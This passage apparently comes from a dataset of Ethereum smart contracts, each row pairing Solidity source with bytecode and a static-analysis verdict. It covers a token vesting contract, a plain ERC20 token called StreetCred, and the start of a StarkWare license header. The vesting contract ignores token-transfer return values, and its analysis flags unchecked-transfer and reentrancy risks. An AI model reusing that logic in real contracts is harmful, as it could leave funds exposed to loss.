* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
contract VestingContract is Ownable {
using SafeMath for uint256;
// CNTR Token Contract
IERC20 tokenContract = IERC20(0x03042482d64577A7bdb282260e2eA4c8a89C064B);
uint256[] vestingSchedule;
address public receivingAddress;
uint256 public vestingStartTime;
uint256 constant public releaseInterval = 30 days;
uint256 public totalTokens;
uint256 public totalDistributed;
uint256 index = 0;
constructor(address _address) public {
receivingAddress = _address;
}
function updateVestingSchedule(uint256[] memory _vestingSchedule) public onlyOwner {
require(vestingStartTime == 0);
vestingSchedule = _vestingSchedule;
for(uint256 i = 0; i < vestingSchedule.length; i++) {
totalTokens = totalTokens.add(vestingSchedule[i]);
}
}
function updateReceivingAddress(address _address) public onlyOwner {
receivingAddress = _address;
}
function releaseToken() public {
require(vestingSchedule.length > 0);
require(msg.sender == owner() || msg.sender == receivingAddress);
if (vestingStartTime == 0) {
require(msg.sender == owner());
vestingStartTime = block.timestamp;
}
for (uint256 i = index; i < vestingSchedule.length; i++) {
if (block.timestamp >= vestingStartTime + (index * releaseInterval)) {
tokenContract.transfer(receivingAddress, (vestingSchedule[i] * 1 ether));
totalDistributed = totalDistributed.add(vestingSchedule[i]);
index = index.add(1);
} else {
break;
}
}
}
function getVestingSchedule() public view returns (uint256[] memory) {
return vestingSchedule;
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a3d272ce11610071578063a3d272ce146101f2578063a8660a7814610236578063c4b6c5fa14610254578063ec715a311461030c578063efca2eed14610316578063f2fde38b14610334576100b4565b80631db87be8146100b95780631f8db268146101035780633a05f0d814610121578063715018a6146101805780637e1c0c091461018a5780638da5cb5b146101a8575b600080fd5b6100c1610378565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61010b61039e565b6040518082815260200191505060405180910390f35b6101296103a5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561016c578082015181840152602081019050610151565b505050509050019250505060405180910390f35b6101886103fd565b005b610192610585565b6040518082815260200191505060405180910390f35b6101b061058b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102346004803603602081101561020857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105b4565b005b61023e6106c1565b6040518082815260200191505060405180910390f35b61030a6004803603602081101561026a57600080fd5b810190808035906020019064010000000081111561028757600080fd5b82018360208201111561029957600080fd5b803590602001918460208302840111640100000000831117156102bb57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506106c7565b005b61031461080c565b005b61031e610abe565b6040518082815260200191505060405180910390f35b6103766004803603602081101561034a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac4565b005b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b62278d0081565b606060028054806020026020016040519081016040528092919081815260200182805480156103f357602002820191906000526020600020905b8154815260200190600101908083116103df575b5050505050905090565b610405610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60055481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6105bc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461067d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b6106cf610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610790576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006004541461079f57600080fd5b80600290805190602001906107b5929190610d61565b5060008090505b600280549050811015610808576107f5600282815481106107d957fe5b9060005260206000200154600554610cd990919063ffffffff16565b60058190555080806001019150506107bc565b5050565b60006002805490501161081e57600080fd5b61082661058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806108ac5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6108b557600080fd5b60006004541415610907576108c861058b565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108ff57600080fd5b426004819055505b600060075490505b600280549050811015610abb5762278d0060075402600454014210610aa957600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a7640000600285815481106109a557fe5b9060005260206000200154026040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610a1a57600080fd5b505af1158015610a2e573d6000803e3d6000fd5b505050506040513d6020811015610a4457600080fd5b810190808051906020019092919050505050610a8260028281548110610a6657fe5b9060005260206000200154600654610cd990919063ffffffff16565b600681905550610a9e6001600754610cd990919063ffffffff16565b600781905550610aae565b610abb565b808060010191505061090f565b50565b60065481565b610acc610cd1565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610dd46026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600080828401905083811015610d57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b828054828255906000526020600020908101928215610d9d579160200282015b82811115610d9c578251825591602001919060010190610d81565b5b509050610daa9190610dae565b5090565b610dd091905b80821115610dcc576000816000905550600101610db4565b5090565b9056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a264697066735822122071000f4d21f3ecf9786900cd34cec43ee18cd0a5ed0f222212d5488900c3810f64736f6c63430006060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}} | 653 |
0xcf2dde6d0f6999d7369deb65d942489abed41437 | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract StreetCred is ERC20 {
constructor(uint256 initialSupply) public ERC20 ("StreetCred", "$CRED"){
_mint(msg.sender,initialSupply);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c80633950935111610071578063395093511461016857806370a082311461019857806395d89b41146101c8578063a457c2d7146101e6578063a9059cbb14610216578063dd62ed3e14610246576100a9565b806306fdde03146100ae578063095ea7b3146100cc57806318160ddd146100fc57806323b872dd1461011a578063313ce5671461014a575b600080fd5b6100b6610276565b6040516100c39190610e35565b60405180910390f35b6100e660048036038101906100e19190610c83565b610308565b6040516100f39190610e1a565b60405180910390f35b610104610326565b6040516101119190610f37565b60405180910390f35b610134600480360381019061012f9190610c34565b610330565b6040516101419190610e1a565b60405180910390f35b610152610428565b60405161015f9190610f52565b60405180910390f35b610182600480360381019061017d9190610c83565b610431565b60405161018f9190610e1a565b60405180910390f35b6101b260048036038101906101ad9190610bcf565b6104dd565b6040516101bf9190610f37565b60405180910390f35b6101d0610525565b6040516101dd9190610e35565b60405180910390f35b61020060048036038101906101fb9190610c83565b6105b7565b60405161020d9190610e1a565b60405180910390f35b610230600480360381019061022b9190610c83565b6106a2565b60405161023d9190610e1a565b60405180910390f35b610260600480360381019061025b9190610bf8565b6106c0565b60405161026d9190610f37565b60405180910390f35b60606003805461028590611067565b80601f01602080910402602001604051908101604052809291908181526020018280546102b190611067565b80156102fe5780601f106102d3576101008083540402835291602001916102fe565b820191906000526020600020905b8154815290600101906020018083116102e157829003601f168201915b5050505050905090565b600061031c610315610747565b848461074f565b6001905092915050565b6000600254905090565b600061033d84848461091a565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610388610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ff90610eb7565b60405180910390fd5b61041c85610414610747565b85840361074f565b60019150509392505050565b60006012905090565b60006104d361043e610747565b84846001600061044c610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104ce9190610f89565b61074f565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606004805461053490611067565b80601f016020809104026020016040519081016040528092919081815260200182805461056090611067565b80156105ad5780601f10610582576101008083540402835291602001916105ad565b820191906000526020600020905b81548152906001019060200180831161059057829003601f168201915b5050505050905090565b600080600160006105c6610747565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610683576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161067a90610f17565b60405180910390fd5b61069761068e610747565b8585840361074f565b600191505092915050565b60006106b66106af610747565b848461091a565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156107bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107b690610ef7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561082f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082690610e77565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161090d9190610f37565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561098a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098190610ed7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190610e57565b60405180910390fd5b610a05838383610b9b565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610a8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8290610e97565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b1e9190610f89565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b829190610f37565b60405180910390a3610b95848484610ba0565b50505050565b505050565b505050565b600081359050610bb481611331565b92915050565b600081359050610bc981611348565b92915050565b600060208284031215610be157600080fd5b6000610bef84828501610ba5565b91505092915050565b60008060408385031215610c0b57600080fd5b6000610c1985828601610ba5565b9250506020610c2a85828601610ba5565b9150509250929050565b600080600060608486031215610c4957600080fd5b6000610c5786828701610ba5565b9350506020610c6886828701610ba5565b9250506040610c7986828701610bba565b9150509250925092565b60008060408385031215610c9657600080fd5b6000610ca485828601610ba5565b9250506020610cb585828601610bba565b9150509250929050565b610cc881610ff1565b82525050565b6000610cd982610f6d565b610ce38185610f78565b9350610cf3818560208601611034565b610cfc816110f7565b840191505092915050565b6000610d14602383610f78565b9150610d1f82611108565b604082019050919050565b6000610d37602283610f78565b9150610d4282611157565b604082019050919050565b6000610d5a602683610f78565b9150610d65826111a6565b604082019050919050565b6000610d7d602883610f78565b9150610d88826111f5565b604082019050919050565b6000610da0602583610f78565b9150610dab82611244565b604082019050919050565b6000610dc3602483610f78565b9150610dce82611293565b604082019050919050565b6000610de6602583610f78565b9150610df1826112e2565b604082019050919050565b610e058161101d565b82525050565b610e1481611027565b82525050565b6000602082019050610e2f6000830184610cbf565b92915050565b60006020820190508181036000830152610e4f8184610cce565b905092915050565b60006020820190508181036000830152610e7081610d07565b9050919050565b60006020820190508181036000830152610e9081610d2a565b9050919050565b60006020820190508181036000830152610eb081610d4d565b9050919050565b60006020820190508181036000830152610ed081610d70565b9050919050565b60006020820190508181036000830152610ef081610d93565b9050919050565b60006020820190508181036000830152610f1081610db6565b9050919050565b60006020820190508181036000830152610f3081610dd9565b9050919050565b6000602082019050610f4c6000830184610dfc565b92915050565b6000602082019050610f676000830184610e0b565b92915050565b600081519050919050565b600082825260208201905092915050565b6000610f948261101d565b9150610f9f8361101d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115610fd457610fd3611099565b5b828201905092915050565b6000610fea82610ffd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611052578082015181840152602081019050611037565b83811115611061576000848401525b50505050565b6000600282049050600182168061107f57607f821691505b60208210811415611093576110926110c8565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61133a81610fdf565b811461134557600080fd5b50565b6113518161101d565b811461135c57600080fd5b5056fea264697066735822122036b51646daf4016fd25636b8a0b5af3de995c5db885e11b951bd8bb731b0d55564736f6c63430008010033 | {"success": true, "error": null, "results": {}} | 654 |
0xD14fd39630Ec941C3bA6C791E3af9E0027013A15 | /*
Copyright 2019,2020 StarkWare Industries Ltd.
Licensed under the Apache License, Version 2.0 (the "License").
You may not use this file except in compliance with the License.
You may obtain a copy of the License at
https://www.starkware.co/open-source-license/
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions
and limitations under the License.
*/
// SPDX-License-Identifier: Apache-2.0.
